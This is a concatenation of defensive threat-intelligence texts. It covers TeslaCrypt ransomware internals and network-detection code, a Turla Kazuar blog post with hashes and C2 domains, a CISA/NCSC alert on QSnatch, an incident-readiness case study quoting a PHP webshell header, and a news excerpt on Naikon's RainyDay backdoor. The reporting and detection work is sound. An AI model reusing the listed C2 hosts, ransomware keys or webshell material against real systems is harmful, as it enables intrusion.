- `${DESKTOP}\RECOVERY.HTM`
- `${DESKTOP}\RECOVERY.png`
- `*\_RECoVERY_+${random_0x05_lower}.txt`
- `*\_RECoVERY_+${random_0x05_lower}.html`
- `*\_RECoVERY_+${random_0x05_lower}.png`
## APPENDIX A: AES ENCRYPTION ROUTINE
```python
from Crypto.Cipher import AES
def aes_encrypt(sc, iv, pt, fp=True):
bs = AES.block_size
cipher = AES.new(sc, AES.MODE_CBC, iv)
if len(pt) % bs:
pad_len = bs - (len(pt) % bs)
pt += chr(pad_len) * pad_len
elif fp:
pt += chr(bs) * bs
return cipher.encrypt(pt)
```
## APPENDIX B: DISK ENCRYPTION PREVENTION BY IMPORTED CRYPTOGRAPHIC KEY
TeslaCrypt uses the following key to decrypt internal data: `kasdfgh283`. This key is imported with the WinAPI function:
```c
BOOL WINAPI CryptImportKey(
_In_ HCRYPTPROV hProv,
_In_ BYTE *pbData,
_In_ DWORD dwDataLen,
_In_ HCRYPTKEY hPubKey,
_In_ DWORD dwFlags,
_Out_ HCRYPTKEY *phKey
);
```
The ransomware uses the following parameters:
```c
CryptImportKey(
AnyCryptoProv,
PublicKey,
0x4c,
0,
0,
AnyAddr
);
```
When importing the following configuration of PublicKey, the following steps can be performed to detect TeslaCrypt processes:
1. Intercept the CryptImportKey call and check if dwDataLen, hPubKey, dwFlags contain the values specified above. If so, go to the next step. Otherwise, continue function normal execution.
2. Check if the pbData structure contains the data presented above. If the data is the same, we can assume that the calling process is TeslaCrypt and break its execution.
## APPENDIX C: DISK ENCRYPTION PREVENTION BY NETWORK COMMUNICATION SIGNATURES
When communicating with the C&C servers, the ransomware encrypts the sent data using an AES-CBC-128 algorithm. The following AES-related data is used:
- IV = `\xFF\xFF\xAA\xAA\x00\x00\xBE\xEF\xDE\xAD\x00\x00\xBE\xFF\xFF\xFF`
- key = SHA256(`'0324532423723948572379453249857'`)
To detect the presence of the TeslaCrypt ransomware, perform the following operations with the HTTP packet:
1. Check if User-Agent equals:
`UserAgent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; Touch; rv:11.0) like Gecko`
2. The code that is responsible for checking if the HTTP packet is likely sent by TeslaCrypt is presented below:
```python
from binascii import unhexlify
from Crypto.Cipher import AES
from hashlib import sha256
from re import compile
def aes_decrypt(sc, iv, ct):
cipher = AES.new(sc, AES.MODE_CBC, iv)
return cipher.decrypt(ct)
def inet_http_body_decrypt(http_body):
IV = '\xFF\xFF\xAA\xAA\x00\x00\xBE\xEF\xDE\xAD\x00\x00\xBE\xFF\xFF\xFF'
key = sha256('0324532423723948572379453249857').digest()
http_body_data = None
http_body_delim = 'data='
if not http_body.startswith(http_body_delim):
return None
http_body_data = http_body[len(http_body_delim):]
try:
http_body_data = unhexlify(http_body_data)
except Exception:
return None
try:
http_body_dec = aes_decrypt(key, IV, http_body_data)
except Exception:
return None
pb = ord(http_body_dec[-1])
http_body_dec = http_body_dec[:-pb]
if ord(http_body_dec[-1]):
return None
return http_body_dec[:-1]
def inet_http_is_tesla(http):
tc_ua = 'UserAgent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; Touch; rv:11.0) like Gecko'
tc_body = compile('^Sub=.*&dh=.*&addr=.*&size=.*&version=.*&OS=.*&ID=.*&inst_id=.*$')
if http['User-Agent'] != tc_ua:
return False
http_body_dec = inet_http_body_decrypt(http['body'])
if not http_body_dec:
return False
print '[+] Decrypted HTTP BODY: %s' % http_body_dec
return tc_body.match(http_body_dec) is not None
```
If such an HTTP packet was caught, we can assume that it was sent by a TeslaCrypt process. Find this process and break its execution. |
# SysInTURLA
**May 27, 2020**
**Written By J A G-S**
**Update 05.28.2020:** Added a missing C&C contributed by Christiaan Beek
**Update 06.11.2020:** Diligent security folks at Aviat Networks have remediated any potential issues with their site and it should no longer be considered a C&C for Kazuar SysInTurla.
**Note 06.11.2020:** The researchers at Leonardo gave a great talk on Penquin Turla x64 at OPCDE.
Today’s threat actor of choice is one of my favorites, Turla (namesake of this blog). This prolific threat actor relies on a variety of toolkits (including Skipper, IcedCoffee, KopiLuwak among others). In the past two weeks alone, two distinct clusters of their activities piqued the interest of multiple research groups (see: Leonardo’s ‘Penquin_x64’ and ESET’s COMrat v4 reports), but their bag of tricks is hardly exhausted. This short ‘tipper’ will discuss Kazuar and a universal love for Mark Russinovich’s SysInternal Tools.
## A Dangerous Bird with Odd Plumage
In 2017, Brandon Levene, Robert Falcone, and Tyler Halfpop of Palo Alto Networks discovered a new toolkit they called ‘Kazuar’. The name is a transliteration of the Russian term for the Cassowary, a flightless yet somehow dangerous bird. The malware is a .NET-based trojan obfuscated with ConfuserEx. Oddly enough, the malware includes artifacts suggesting multi-platform variants for MacOS and *nix, though neither were found in-the-wild as far as I know. The Palo Alto report is excellent and can be relied upon for a breakdown of the malware’s behavior. Sporadic samples of Kazuar were reported in 2017-2018.
### PE Version Info for 2019 Kazuar
```
SHA256: 1749c96cc1a4beb9ad4d6e037e40902fac31042fa40152f1d3794f49ed1a2b5c
SHA1: 27002628fe06bb3d5fe180b35313e75b35c5e5fe
MD5: 1f70bef5d79efbdac63c9935aa353955
Compilation Timestamp: 2012-11-12 21:05:06
First Submission: 2019-07-23 14:11:49
Size: 135.00KB
Name(s): 'adflctlmon.exe'
Module Version Id: d3429016-d029-45b8-b260-85221265838e
```
Newer Kazuar samples are (poorly) branded to look like a SysInternal tool called ‘DebugView’. While the original enables users to monitor debug output from local and remote systems, Turla’s new Kazuar samples enable a far more nefarious remote monitoring. Apart from cosmetic changes, the new Kazuar samples no longer rely on ConfuserEx. The new .NET obfuscator is a pain in the ass and defied my google dorking method of identification. However, it appears to continue to rely on the DLL injection mechanism into explorer.exe described in the Palo Alto blog.
As you can see, the brand abuse is quite crude and inconsistent and lends itself to easy sigging. As of writing, I’ve stumbled upon four samples. Hashes, partial IOCs, and YARA rules are available in the technical appendix below.
A Special Note: As I was wrapping up this writeup, I found partial overlaps with an excellent private report released this month by PwC’s threat intel researchers. For a detailed breakdown of the new Kazuar variants, refer to PwC’s ‘Blue Python – Kazuar's cryptic strings’ report (May 2020). That includes a better handling of their new obfuscator.
### Technical Indicators
**Kazuar DebugView (2019-2020) Samples:**
- 1749c96cc1a4beb9ad4d6e037e40902fac31042fa40152f1d3794f49ed1a2b5c
- 44cc7f6c2b664f15b499c7d07c78c110861d2cc82787ddaad28a5af8efc3daac
- 1fca5f41211c800830c5f5c3e355d31a05e4c702401a61f11e25387e25eeb7fa
- 2d8151dabf891cf743e67c6f9765ee79884d024b10d265119873b0967a09b20f
**In-the-Wild Filenames:**
- dbgsview.exe
- DebugView.exe
- adflctlmon.exe
- PSExtendPrivacy.exe
- Agent.exe
### Command-and-Control Servers
Note: Expect some false positives as it appears these are compromised WordPress sites.
- echange-afrique-insa[.]fr
- afci-newsoft[.]fr
- antoniosalieri[.]es (Update 05.28.2020: Thank you, Christiaan Beek)
- Remediated: aviitnetworks[.]com (Update 06.11.2020: Confirmed remediated by the diligent folks at Aviat Networks)
### .NET Module Version IDs
- 7c1a417d-961e-4fbd-9df7-7b99994eaec7
- 2cde886e-ee24-496a-bb31-1ced6b766ced
- 76b7b11a-4124-448b-9903-15524e321f3f
- d3429016-d029-45b8-b260-85221265838e
YARA Rules available here. |
# Potential Legacy Risk from Malware Targeting QNAP NAS Devices
## Summary
This is a joint alert from the United States Cybersecurity and Infrastructure Security Agency (CISA) and the United Kingdom’s National Cyber Security Centre (NCSC). CISA and NCSC are investigating a strain of malware known as QSnatch, which attackers used in late 2019 to target Network Attached Storage (NAS) devices manufactured by the firm QNAP. All QNAP NAS devices are potentially vulnerable to QSnatch malware if not updated with the latest security fixes. The malware, documented in open-source reports, has infected thousands of devices worldwide, with a particularly high number of infections in North America and Europe. Once a device has been infected, attackers can prevent administrators from successfully running firmware updates. This alert summarizes the findings of CISA and NCSC analysis and provides mitigation advice.
## Technical Details
### Campaigns
CISA and NCSC have identified two campaigns of activity for QSnatch malware. The first campaign likely began in early 2014 and continued until mid-2017, while the second started in late 2018 and was still active in late 2019. The two campaigns are distinguished by the initial payload used as well as some differences in capabilities. This alert focuses on the second campaign as it is the most recent threat. It is important to note that infrastructure used by the malicious cyber actors in both campaigns is not currently active, but the threat remains to unpatched devices. Although the identities and objectives of the malicious cyber actors using QSnatch are currently unknown, the malware is relatively sophisticated, and the cyber actors demonstrate an awareness of operational security.
### Global distribution of infections
Analysis shows a significant number of infected devices. In mid-June 2020, there were approximately 62,000 infected devices worldwide; of these, approximately 7,600 were in the United States and 3,900 were in the United Kingdom.
### Delivery and exploitation
The infection vector has not been identified, but QSnatch appears to be injected into the device firmware during the infection stage, with the malicious code subsequently run within the device, compromising it. The attacker then uses a domain generation algorithm (DGA) to establish a command and control (C2) channel that periodically generates multiple domain names for use in C2 communications.
### Malware functionalities
Analysis shows that QSnatch malware contains multiple functionalities, such as:
- **CGI password logger**: This installs a fake version of the device admin login page, logging successful authentications and passing them to the legitimate login page.
- **Credential scraper**: This allows the cyber actor to execute arbitrary code on a device.
- **Exfiltration**: When run, QSnatch steals a predetermined list of files, which includes system configurations and log files. These are encrypted with the actor’s public key and sent to their infrastructure over HTTPS.
- **Webshell functionality for remote access**.
### Persistence
The malware appears to gain persistence by preventing updates from installing on the infected QNAP device. The attacker modifies the system host’s file, redirecting core domain names used by the NAS to local out-of-date versions so updates can never be installed.
### Samples
The following tables provide hashes of related QSnatch samples found in open-source malware repositories. File types fall into two buckets: (1) shell scripts and (2) shell script compiler (SHC)-compiled executable and linking format (ELF) shell scripts. One notable point is that some samples intentionally patch the infected QNAP for Samba remote code execution vulnerability CVE-2017-7494.
#### Table 1: QSnatch samples – shell scripts
| SH Samples (SHA256) |
|---------------------|
| 09ab3031796bea1b8b79fcfd2b86dac8f38b1f95f0fce6bd2590361f6dcd6764 |
| 3c38e7bb004b000bd90ad94446437096f46140292a138bfc9f7e44dc136bac8d |
| 8fd16e639f99cdaa7a2b730fc9af34a203c41fb353eaa250a536a09caf78253b |
| 473c5df2617cee5a1f73880c2d66ad9668eeb2e6c0c86a2e9e33757976391d1a |
| 55b5671876f463f2f75db423b188a1d478a466c5e68e6f9d4f340396f6558b9f |
| 9526ccdeb9bf7cfd9b34d290bdb49ab6a6acefc17bff0e85d9ebb46cca8b9dc2 |
| 4b514278a3ad03f5efb9488f41585458c7d42d0028e48f6e45c944047f3a15e9 |
| fa3c2f8e3309ee67e7684abc6602eea0d1d18d5d799a266209ce594947269346 |
| 18a4f2e7847a2c4e3c9a949cc610044bde319184ef1f4d23a8053e5087ab641b |
| 9791c5f567838f1705bd46e880e38e21e9f3400c353c2bf55a9fa9f130f3f077 |
| a569332b52d484f40b910f2f0763b13c085c7d93dcdc7fea0aeb3a3e3366ba5d |
| a9364f3faffa71acb51b7035738cbd5e7438721b9d2be120e46b5fd3b23c6c18 |
| 62426146b8fcaeaf6abb24d42543c6374b5f51e06c32206ccb9042350b832ea8 |
| 5cb5dce0a1e03fc4d3ffc831e4a356bce80e928423b374fc80ee997e7c62d3f8 |
| 5130282cdb4e371b5b9257e6c992fb7c11243b2511a6d4185eafc0faa0e0a3a6 |
| 15892206207fdef1a60af17684ea18bcaa5434a1c7bdca55f460bb69abec0bdc |
| 3cb052a7da6cda9609c32b5bafa11b76c2bb0f74b61277fecf464d3c0baeac0e |
| 13f3ea4783a6c8d5ec0b0d342dcdd0de668694b9c1b533ce640ae4571fdbf63c |
#### Table 2: QSnatch samples – SHC-compiled ELF shell scripts
| SH Samples (SHA256) |
|---------------------|
| 18a4f2e7847a2c4e3c9a949cc610044bde319184ef1f4d23a8053e5087ab641b |
| 3615f0019e9a64a78ccb57faa99380db0b36146ec62df768361bca2d9a5c27f2 |
| 845759bb54b992a6abcbca4af9662e94794b8d7c87063387b05034ce779f7d52 |
| 6e0f793025537edf285c5749b3fcd83a689db0f1c697abe70561399938380f89 |
## Mitigations
Once a device has been infected, attackers have been known to make it impossible for administrators to successfully run the needed firmware updates. This makes it extremely important for organizations to ensure their devices have not been previously compromised. Organizations that are still running a vulnerable version should take the following steps to ensure the device is not left vulnerable:
- Scan the device with the latest version of Malware Remover, available in QNAP App Center, to detect and remove QSnatch or other malware. If the installation via App Center fails, manually install Malware Remover following this QNAP tutorial, or contact QNAP Technical Support for further assistance.
- Run a full factory reset on the device.
- Update the firmware to the latest version.
The usual checks to ensure that the latest updates are installed still apply. To prevent reinfection, this recommendation also applies to devices previously infected with QSnatch but from which the malware has been removed.
To prevent QSnatch malware infections, CISA and NCSC strongly recommend that organizations take the recommended measures in QNAP’s November 2019 advisory. CISA and NCSC also recommend organizations consider the following mitigations:
- Verify that you purchased QNAP devices from reputable sources. If sources are in question, then, in accordance with the instructions above, scan the device with the latest version of the Malware Remover and run a full factory reset on the device prior to completing the firmware upgrade.
- Block external connections when the device is intended to be used strictly for internal storage. |
# Incident Readiness: Preparing a Proactive Response to Attacks
## Background
Recent events have shown that it is possible to effectively respond to a crisis. Those that succeed call on past experience to proactively develop their readiness for inevitable future risks. The measures they take are preemptive and continuous. For organizations considering the impacts of a cyber attack, there is much to be learned from this “ready” mindset.
Cyber attacks are a business reality, with 75% of organizations in the UK having experienced one between March 2019 and March 2020. However, the impact of the attack and the damage caused can be mitigated. Depending on an organization’s incident response (IR) and crisis management efforts, an attack with the potential to disrupt business continuity may have little impact. This can be achieved by anticipating incidents and developing a response around specific threats, their likelihood, and the motives of the attacker. It is never the result of a defensive arsenal of technology on its own.
> “There are organizations that are spending a ton on cyber security and they have very bad risk postures. There are others that are not spending very much but they have very good risk postures. The bottom line is it’s about their level of readiness.” – Paul Proctor, VP, Gartner
## Proactive vs Reactive Response
Readiness—in the context of cyber incidents—can be understood as a state of being and working to continually be prepared for compromise, such that business continuity can be maintained throughout an attack. It is both the measurement of an organization’s current security posture and a set of actions. The latter, when improved, can increase overall organizational resilience.
Readiness can be aligned with the “preparation” phase in the IR lifecycle, influencing all successive phases. It is broad in scope and designed to begin as far in advance of an incident as possible; this preparation phase may take place months or even years before an incident. Although this preparation phase is fundamental to IR as a practice, it is commonly overlooked.
## Incident Readiness in Action
The following walkthrough is based on real IR engagements and contrasts the same attack being deployed against two near identical organizations in the financial sector. It illustrates the success of response with and without prior readiness activity and welcomes the reader to make their own judgment about the value of incident readiness and how they may apply such a mindset in their own organization.
### Setting the Scene
**Enterprise-A**
Enterprise-A has a workforce of 500,000 employees and operations in several geographic regions. One central group security function exists in addition to local security representatives in each regional office. Regions are responsible for their own security function and detection technology; no monitoring of this technology takes place at the central security group level. Security initiatives include penetration testing for applications, infrastructure, and networks. Some policies and processes for IR exist, but are not widely understood due to a lack of training.
**Enterprise-B**
Enterprise-B is identical in profile to Enterprise-A, except that it has recently undertaken an incident readiness project including the following elements:
- IR plans and playbooks developed at the regional level
- First responder training in place for both group and regional staff
- Tabletop incident simulation exercises carried out on a regular basis for each region, with group security playing the role of incident management
- Review of the central logging solution that collects and aggregates key logs, with an emphasis on logging strategy and policy for priority assets within group and regional offices
- A review of high privilege accounts and the management thereof
### Incident Phase 1: Initial Breach
**Enterprise-A**
**Day 1**
The third-party developer responsible for developing and maintaining the organization’s money transfer application contacts a representative from head office—suspicious files have appeared on the application servers of two regional offices. These files were not uploaded by the development team, which is the only team with access to the servers.
**Day 10**
Group security at head office contacts the region where the suspicious files have been identified. It transpires that the office is receiving numerous client complaints regarding small, unrecognized transactions from their accounts. The application owner is currently investigating the matter but is unsure of the cause at present.
**Day 21**
The developers are instructed by group security to delete the suspicious files and report any further unusual file activity on other regional servers. Group security investigates the unrecognized transactions in the transaction logs and discovers a possible authentication flaw, which allows authentication keys to be reused. The team issues a patch and distributes it to all regions where the application is hosted.
**Enterprise-B**
**Day 1**
Upon receiving notification from the development team about a suspicious file on the application servers for its money transfer application, a ticket is raised and assigned as a low-risk priority. An analyst from the group security team calls the developer who raised the notification. They ask them to share their screen to enable a two-way discussion about the suspicious nature of the file. The servers are Linux, so the developer logs on via Secure Shell (SSH) and prints the file contents to the shared screen.
The analyst takes note of the file contents:
```
#<?php
/***********************************************
********************************
* Copyright 2017 WhiteWinterWolf
* This file is part of wwolf-php-webshell.
*
* wwolf-php-webshell is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
```
A quick Google search of the string “WhiteWinterWolf” confirms that the files are web shells. The application servers are now considered compromised, so the analyst raises the ticket priority and directs the infrastructure team to snapshot the virtual server’s hard drives. These snapshots are sent for forensic analysis.
Operational obligations and a lack of functional backup servers prohibit the affected servers from being taken offline. Instead, the analyst locates the security team’s incident playbook for host compromise and follows the instructions to generate a hash for the suspicious file in question. The hash is sent as part of a notification to all regions, advising them to search for instances of the file on their servers.
**Day 10**
Further investigation leads the analyst to a string of client complaints about unauthorized transactions on their accounts. After requesting application transaction logs for review, they quickly identify that an authentication key has been reused for two different accounts. This indicates an authentication flaw in the application. As the web shell and the unauthorized transactions are linked, the risk of the incident is reassessed by the incident manager; the decision is made to engage an external IR provider.
Virtual hard drive snapshots and the accompanying logs are sent to the provider for analysis. While the hard drive snapshots and logs are processed, Enterprise-B receives guidance from the IR provider to increase monitoring on the affected assets. Over the next few days, a Linux endpoint detection and response (EDR) agent and updated AV signatures are deployed to the application servers and the logs are actively monitored by the security team.
**Day 21**
An update on the investigation thus far is received from the IR provider. It details the following:
- External reconnaissance activity is visible in the local server logs
- A web shell was uploaded via the file upload functionality of a web application used by the developers to upload and maintain code on the server
- Additional malware was then installed, allowing the attacker to interact directly with the server
- The attacker was able to view the transaction logs stored in clear text on the server, where they were able to access the authentication keys
- There is some indication that the attacker is using the application API directly from the server via the GNU Wget functionality
Group security establishes an internal cyber security incident response team (CSIRT) and convenes to discuss the incident and its remediation. Representatives are involved from every region. It becomes clear that the attacker has a foothold on all the regional application servers. Their objective is also clear: to extract funds by transferring money between accounts directly from the application servers. The initial malicious transactions of nominal amounts were designed to assess the effectiveness of this approach.
The CSIRT decides to issue a temporary patch, stopping the authentication key from being reused. Monitoring on the servers is increased while the application team builds a new application server for distribution to the affected regions.
**Day 34**
The new server image and patched application undergo a penetration test before being deployed as the replacement in all regions. Approval of the single server image and application version happens quickly to avoid any further operational issues. It is imperative that all vulnerabilities are addressed before deployment to the regions.
### Incident Phase 2: Domain Compromise
**Enterprise-A**
**Day 182**
An anti-virus alert is triggered on three servers in the regional office where activity on the application servers was first observed. The alerts indicate use of the credential harvesting tool Mimikatz. An administrator is assigned to log on to the affected hosts using the local administrator account. Their attempts to identify the alerted files are ineffectual, as they have been successfully quarantined and are not present on disk.
**Day 190**
After speaking to the administrator, the security manager concludes that the threat has been contained by the anti-virus solution. The administrator had attempted to extract the Windows event logs but advised that the logs had since rolled over and were not preserved. Every user password within the regional office network is reset as a precaution and the investigation is closed off.
**Enterprise-B**
**Day 182**
An anti-virus alert triggers an investigation into three servers in a regional office. The regional security manager creates a ticket and assigns it as medium risk due to the nature of the alert—that a known hacking tool has triggered alerts on multiple servers. The security manager instructs the administrator to take snapshots of the virtual servers and capture the event logs as per the first responder process. Meanwhile, the security manager reviews the access logs in the security information and event management (SIEM) system to identify any accounts that have recently logged on to the servers. One account stands out as anomalous, as it belongs to a manager in the money transfer application team. This account has never previously accessed the servers. Despite no business case, it also has local administrator permissions for them.
**Day 183**
The security manager consults the application manager, and it is concluded that the activity was not legitimately performed by the organization. After arranging a replacement laptop for the application manager, the security manager takes possession of the infected laptop. A forensic imaging tool is used to capture a disk image of the laptop onto an encrypted external hard drive, as per the instructions in the first responder guide. The external hard drive and copies of the server snapshots are shipped via courier with next-day delivery to group security for forensic investigation. The team has already been briefed on the incident and the incident ticket is updated with relevant details. The password for the administrator account is reset and the affected servers are restored from a previous backup.
**Day 185**
Group security forms a CSIRT with key representatives from the security, infrastructure, and executive teams. The decision is made to engage Enterprise-B’s external IR provider for reinforcement. The organization’s incident manager invokes its incident response retainer and briefs the provider’s consultants on what is known thus far. All available artifacts are shared with the consultants for analysis.
**Day 191**
The investigation conducted by the IR consultants highlights the following events:
- The application manager was sent a phishing email containing a link to a fake LinkedIn profile three weeks prior to the first anti-virus alerts. A two-stage payload was then downloaded onto their host. As the user had local administrator permissions, a registry key was used for persistence of the payload.
- Several randomly-named text files were found in the C:\Windows\Temp\ directory of the laptop, which appear to be the output of a keylogger. These include the contents of emails, as well as passwords for internal platforms. The latter includes the SSH password to a jumpbox that provides access to the Linux environment where the application servers are hosted.
- The application manager’s credentials were then used to log on to the three servers flagged by the anti-virus alerts.
- The investigation streams for the servers are ongoing. The IR provider has so far identified a folder containing several executable files on each server. These executables appear to have been used by the attacker for enumeration.
- One such executable file named “<COMPANY_NAME>.exe” has been submitted to the malware analysis team for reverse engineering to scrutinize its structure and purpose. Preliminary analysis indicates that some extracted strings have keylogging capability and that the executable is a custom piece of malware.
**Day 193**
As a result of these findings, group security meets to assess the threat and plan remediation. The consequent actions are informed by both the findings and are in line with its domain compromise playbook:
- Exchange administrators from each region are instructed to search for instances of the phishing email in their regional user base. Those regions with a proxy are instructed to search the proxy logs for the phishing URL.
- A list of hashes for the files identified in the attacker’s tool folder is sent to each regional office. It comes with instruction for the regional security teams to use their anti-virus solution to search for instances of these on their estates.
- The regional administrator for the Linux environment hosting the money transfer application is instructed to search for instances of logons using the compromised application manager’s credentials.
**Day 198**
While no other instances of the phishing email are found, the malware hash search shows hits on six additional servers in the region where the malicious files were first identified. The additional server list includes a domain controller. No anomalous authentication events are identified in the Linux environment. However, it is recognized that limitations in the logging prohibit evidence being collected across the entire period of interest. The administrator increases the log retention policy to 60 days, resets all user credentials, and hardens the firewall rules to ensure that only listed IP addresses can access the Linux servers. A collection script is run on all Linux hosts in the environment, the output of which is shared with the IR provider for analysis.
**Day 201**
Following the processes and playbook guidance defined for regional domain compromise, group security obtains executive approval to sever the domain trust between the affected region and head office. The following instructions are sent to the regional security team to eradicate the threat:
1. Restore backups of the affected servers from one month ago.
2. Reset all user and administrator passwords via Active Directory (AD).
3. Reset the KRBTGT password as per Microsoft’s best practice guide.
4. Identify additional accounts which may have excessive privileges.
5. Increase monitoring for all affected assets.
6. Monitor for operational impact and report back to group security.
7. Schedule a domain hardening assessment with the organization’s cyber security partner.
By following these processes, Enterprise-B prevents the potential business impact of the attack and successfully contains the incident. It may now evaluate the incident with its IR provider and report back to the business. As part of the lessons learned process defined in each of the organization’s playbooks, the CSIRT conducts a meeting to discuss the information ascertained during the incident. An action plan to address the identified shortcomings is developed during the meeting, and the resulting actions list is assigned to key individuals for completion.
### Incident Phase 3: Attacker Cash-Out
**Enterprise-A**
**Day 362 (Attacker Objective Achieved)**
Enterprise-A receives an influx of reports from clients who have lost significant sums of money through its money transfer application. These come from multiple regions. The organization’s executive team convenes a crisis management meeting with group security and regional security representatives to investigate and control the situation. An external IR provider is engaged and briefed on the findings so far. The provider requests the following artifacts to support the investigation:
- Disk images from the Linux application servers
- Transaction logs from the money transfer application
- Firewall logs for the Linux environment
**Day 368**
As most of the application server disk images need to be couriered from the respective regions, limited artifacts are available for analysis. One disk image of a regional application server and some network logs are provided initially. Preliminary findings reveal that malware has been running on the host for over a year. The transaction logs again show that authentication keys have been reused in money transfers, for different accounts, via the API on the application server. The patch issued by group security to prevent the reuse of authentication keys was reversed by the attacker shortly before the bulk of the transactions took place. A timeline of key events from the attack confirms that the provided disk image was not the first in the attack chain. The region where the domain compromise occurred a few months prior is instead determined as the attack’s most likely origin. This conclusion is drawn from the timestamps of the fraudulent transactions and connections on the firewall. Due to the time that has passed since this point, the available historic evidence is limited.
**Day 376**
Additional disk images are received for analysis from the regional offices, including the region suspected as the starting point for the attack.
**Day 386**
The attacker’s foothold on the Linux servers is confirmed to originate from the corporate Windows environment, with the source of the SSH connection being the application manager’s host. The IR provider requests a disk image of the host, and the laptop is shipped to head office for analysis; the absence of equipment or experience to acquire a disk image prohibits the regional security team from doing so independently. This significantly hinders the investigation and causes a substantial delay in the analysis process. No connection exists between the regional application servers. The servers in each region were individually compromised, rather than via lateral movement. Each was compromised via web shells uploaded via the developer’s code maintenance application, followed by the installation of persistent malware. The development team concedes that it could see the web shells being created and wrote a script to delete any files matching the names of said shells. They did not notify the organization, as they believed appropriate mitigation steps were taken by deleting the files. The IR provider identifies variations of the web shells, which were not deleted by the developer’s script. This is the mechanism that allowed the attacker to maintain persistence on the application servers.
**Day 399**
The laptop belonging to the application manager is received. It takes the regional team a few hours to find and provide its BitLocker recovery key, after which time the IR provider acquires a disk image and begins analysis.
**Day 416**
Significant time has passed since the domain compromise, and many laptop artifacts have rolled over or been overwritten. The IR provider highlights that the host was compromised when the user clicked a phishing URL. Custom malware is also running on the host as well as the suspected output from a keylogger. Another investigation is launched to determine if the domain controller is still compromised.
## Post-Incident Learnings
Following extensive forensic investigation, remediation of the incident takes several iterations. These cause long periods of operational downtime for Enterprise-A, impacting the business. The investigation finds that the attacker targeted the organization one year prior to their objectives being reached. They maintained persistence on several key assets during this time and systematically gathered data that would later inform and enable their final attack.
With the benefit of hindsight, three key detection events are identified. These represent the point at which incident response processes could have been invoked and may ultimately have resulted in a different outcome for Enterprise-A.
### Reactive Response
| Detection Event | Response | Impact |
|------------------|----------|--------|
| Developer alert: suspicious file on application server | Developer instructed to delete suspicious files | No investigation; true root cause not known, servers still vulnerable |
| Client alert: strange transactions on money transfer application | Review logs, identify authentication vulnerability, create and deploy a patch | Patch stops attackers from being able to transfer funds, but persistence means they can disable controls |
| High risk AV alert on Windows servers in region | Delete malicious files, reset user credentials | Domain compromise means that the attacker can gather important data for over a year |
Following the investigation’s conclusion, critical gaps in Enterprise-A’s readiness posture are identified. At a minimum, the following high-level readiness measures could reduce the impact of incidents of this nature:
- The creation of an IR plan detailing relevant regulations, thresholds, incident severity levels, escalation matrices, and roles and responsibilities to be assumed during a cyber security incident.
- The development of IR playbooks detailing high-level process flows for different categories of incidents; these would include incident management at the global level and incident categories at the regional level.
- First responder training for regional representatives to advocate their responsibility for preserving evidence in suitable circumstances. This would also provide them with the skills required to conduct initial analysis from triaged data.
- Incident response simulations developed and delivered systematically to each region, encouraging buy-in from the regional offices for the incident response plan and playbook.
We can now consider what a proactive response may have looked like for Enterprise-A had the above elements been in place at the time of the incident:
### Proactive Response
| Preparation | Detection Event | Response | Impact |
|-------------|------------------|----------|--------|
| First Responder training: staff are aware of how and when to preserve artifacts | Developer alert: suspicious file on application server | Snapshot virtual server hard drives and send for root cause analysis | Root cause identified early on in kill chain, potentially stops objective |
| Incident response policy detailing roles and responsibilities, business owners, change management, and patching process | Client alert: strange transactions on money transfer application | Root cause analysis (RCA), review logs, identify authentication vulnerability, create and deploy a patch | Patch stops attacker from being able to transfer funds, and persistence identified by RCA so servers rebuilt |
| Playbooks exist for host compromise and domain recovery | High risk AV alert on Windows servers in one region | Capture forensic artifacts, root cause analysis, isolate and rebuilt according to playbooks | Sensitive data exfiltration and credential theft avoided |
Enterprises that prioritize readiness are better equipped to raise the barriers between advanced persistent threats (APTs) and their goals, prior to a compromise. Such threats are systematic and require sufficient resource to succeed. By preserving key data and developing learnings early in the kill-chain, the resource required by the attacker diminishes the value of its persistence. Instead of relying on prevention, and responding reactively when it fails, this approach proactively deters threats by making an organization an uneconomical target.
## Summary and Conclusion
An organization’s ability to maintain business continuity through a cyber incident, and recover any losses in the aftermath, is dependent on its governance of the IR lifecycle. This includes the preparation phase where controlled and strategic actions can be taken, based on learnings from tabletop exercises, capability-specific assessments, and real attacks.
Examples like the one in this paper show that preparation reaches beyond the deployment, configuration, and testing of tooling. Whilst suitable tooling is essential, it cannot provide incident readiness on its own. Instead, its inclusion alongside strategic management of people and processes—via continually-improved IR plans, playbooks, and low-level procedures—make for an effective response.
Operational resilience during a real incident is the result of skilled risk management and the technical ability of the CSIRT, in addition to the performance of tooling. For the internal CSIRT managing the frontline during a compromise, proactive response can help circumvent burnout and improve channels of communication with the executive team. Such cross-departmental collaboration is a step towards security becoming a business priority.
Incidents are indeed a business consideration not a pure technical one. The scrutiny of customers, partners, regulators, and the media that results from an incident forms the case to develop security teams equipped to defend against modern threat actors—both constantly evolving and persistent in nature. The value of readiness investment can be represented to senior stakeholders in this context as a route to increased credibility, continuity, and growth. |
# Chinese Cyberspies Target Military Organizations in Asia With New Malware
A cyber-espionage group believed to be sponsored by the Chinese government has been observed targeting military organizations in Southeast Asia in attacks involving previously undocumented malware, Bitdefender reported on Wednesday.
Linked to the Chinese People’s Liberation Army (PLA) over half a decade ago, the Naikon advanced persistent threat (APT) was revealed last year to have conducted a five-year stealth campaign against targets in Australia, Indonesia, the Philippines, Vietnam, Thailand, Myanmar, and Brunei. The group has been known to focus on government and military organizations.
Although reports on Naikon’s activity were so far published only in 2015 and 2020, the persistent APT has been quietly operational for at least a decade, making changes to its infrastructure and toolset to ensure it can stay under the radar. Last year, after its activity was exposed, Naikon made a similar move: it switched to a new backdoor, although it continued to use previously known malware for the first stages of attack. The group has also been abusing legitimate software for nefarious purposes.
The latest campaign ran between June 2019 and March 2021, and one of the new backdoors, dubbed RainyDay, was first used in attacks in September 2020, Bitdefender says. To remain undetected, the APT would mimic legitimate software running on the infected machines. The purpose of the attacks remains espionage and data exfiltration, and the group continues to focus on Southeast Asian targets.
The RainyDay backdoor allows the attackers to perform reconnaissance on the infected machines, deploy reverse proxies, install scanners, execute tools for password dumping, move laterally on the victim’s network, and achieve persistence. Naikon has always used DLL side-loading for the RainyDay execution, “and there was always a vulnerable executable along with a DLL file and the rdmin.src file containing the encrypted backdoor payload,” Bitdefender explains.
